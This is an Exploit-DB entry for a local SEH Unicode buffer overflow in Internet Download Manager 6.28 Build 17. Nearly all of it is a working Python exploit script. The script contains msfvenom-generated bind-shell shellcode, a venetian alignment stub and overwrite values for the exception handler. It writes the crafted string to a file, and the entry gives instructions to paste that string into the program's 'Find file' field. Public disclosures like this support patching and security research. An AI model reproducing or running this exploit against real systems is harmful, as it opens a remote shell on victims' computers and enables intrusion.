Internet Download Manager 6.28 Build 17 - Buffer Overflow (SEH Unicode)

EDB-ID: 42456
Author: f3ci
Published: 2017-08-15
CVE: N/A
Type: Local
Platform: Windows
Vulnerable App: N/A

 # Exploit Title: Internet Download Manager 6.28 Build 17 - 'Find file' 
SEH Buffer Overflow (Unicode)
# Date: 14-06-2017
# Exploit Author: f3ci
# Tested on: Windows 7 SP1 x86
# How to exploit: Open IDM -> Downloads -> Find -> paste exploit string
into 'Find file' text field

#msfvenom -p windows/shell_bind_tcp LHOST=4444 -e x86/unicode_mixed
BufferRegister=EAX -a x86 --platform windows -f python
#Payload size: 782 bytes
buf = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA"
buf += "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ"
buf += "1AIAIAJ11AIAIABABABQI1AIQIAIQI11"
buf += "1AIAJQYAZBABABABABkMAGB9u4JB9lK8"
buf += "4BYpIpM0QPTIwuP1y00dtKr0LpTK22Jl"
buf += "4K1Bn4TKQbMXLOWGNjNFp1KODlml31al"
buf += "zbnLKpI16olMiqfggrhrobNwrkb2N0tK"
buf += "pJmlRk0Lzq2XJCpHkQxQoaRk29o0m1wc"
buf += "dKa9jxzCmjq9dKoDdKm1fvMakOfLfavo"
buf += "jmIqHGOHGp2UzVlCqmjXoKQmKtbUhd28"
buf += "Bk28LdIq7cOvbkJlPKtK0XML9qvsDKlD"
buf += "BkjaHPayq4LdmTQK1KQQR9aJoa9oGpoo"
buf += "OoOjRkZrjKbmOmBHMcp2IpM0RH1g2SNR"
buf += "OopTqXnlQglfzgkOyEtxdPKQIpIpmYy4"
buf += "Ntb0Phlie0rKM09oXU2J9x0Yr0Xb9mq0"
buf += "r0a0npC87zZoyO9PKOj5bwBHJbkPkaQL"
buf += "e97vrJZp0VQGRHy2GknWBGYohUR7phUg"
buf += "Gy08IoyovuogqXsDXlmk8aIoXUR7dWph"
buf += "t5bNpMaQioVuQXrCbM34ypu9Gs1Gogb7"
buf += "01xvrJjr29qF8bim365wPDldoLzajaTM"
buf += "q4ldjpuvypMtR4np26of26Mv0VnnaFaF"
buf += "OcpVPhD9HLOO1vio6u2iwpNnr6pFKO00"
buf += "Ph9xBgMMOpyofuWKHpVUcrr6qXeVruUm"
buf += "3mkO9EOLlFcLJjcPyk9PRUyugK0GN3RR"
buf += "0o2Jip23yoj5AA"

#venetian
venetian = "\x53" #push ebx
venetian += "\x42" #align
venetian += "\x58" #pop eax
venetian += "\x42" #align
venetian += "\x05\x02\x01" #add eax,01000200
venetian += "\x42" #align
venetian += "\x2d\x01\x01" #add eax,01000100
venetian += "\x42" #align
venetian += "\x50" #push esp
venetian += "\x42" #align
venetian += "\xC3" #ret

nseh = "\x61\x47" # popad
seh = "\x46\x5f" # 0x005f0046 IDMan.exe

buffer = "\x41" * 2192 #junk
buffer += nseh + seh #nseh + seh
buffer += venetian #venetian
buffer += "\x42" * 109 #junk
buffer += buf #shellcode
buffer += "HeyCanYouFind" #junk
buffer += "ThisFileHuh?" #junk


filename = "C:\\Users\Lab\Desktop\idm.txt"
file = open(filename, 'w')
file.write(buffer)
file.close()
print buffer
print "[+] File created successfully"

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